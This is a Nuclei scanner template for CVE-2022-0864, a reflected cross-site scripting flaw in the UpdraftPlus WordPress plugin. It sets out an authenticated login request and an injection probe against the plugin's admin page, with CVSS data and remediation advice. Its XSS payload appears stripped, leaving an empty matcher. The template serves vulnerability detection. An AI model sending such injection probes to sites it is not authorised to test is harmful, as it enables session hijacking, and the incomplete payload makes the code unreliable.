id: CVE-2022-0864
info:
name: UpdraftPlus < 1.22.9 - Cross-Site Scripting
author: DhiyaneshDk
severity: medium
description: |
The plugin does not sanitise and escape the updraft_interval parameter before outputting it back in an admin page, leading to a Reflected Cross-Site Scripting (XSS) vulnerability.
impact: |
Successful exploitation of this vulnerability could allow an attacker to inject malicious scripts into the affected website, leading to potential data theft, session hijacking, or defacement.
remediation: |
Update UpdraftPlus plugin to version 1.22.9 or later to mitigate the vulnerability.
reference:
- https://wpscan.com/vulnerability/7337543f-4c2c-4365-aebf-3423e9d2f872
- https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2022-0864
- https://wordpress.org/plugins/updraftplus
- https://github.com/ARPSyndicate/cvemon
classification:
cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N
cvss-score: 6.1
cve-id: CVE-2022-0864
cwe-id: CWE-79
epss-score: 0.00242
epss-percentile: 0.63565
cpe: cpe:2.3:a:updraftplus:updraftplus:*:*:*:*:*:wordpress:*:*
metadata:
verified: true
max-request: 2
vendor: updraftplus
product: updraftplus
framework: wordpress
tags: wpscan,cve,cve2022,xss,authenticated,updraftplus,wp-plugin,wp,wordpress
http:
- raw:
- |
POST /wp-login.php HTTP/1.1
Host: {{Hostname}}
Origin: {{RootURL}}
Content-Type: application/x-www-form-urlencoded
log={{username}}&pwd={{password}}&wp-submit=Log+In&testcookie=1
- |
GET /wp-admin/options-general.php?page=updraftplus&updraft_interval"> HTTP/1.1
Host: {{Hostname}}
matchers-condition: and
matchers:
- type: word
part: body_2
words:
- ""
- "Existing backups"
condition: and
- type: word
part: header
words:
- text/html
- type: status
status:
- 200
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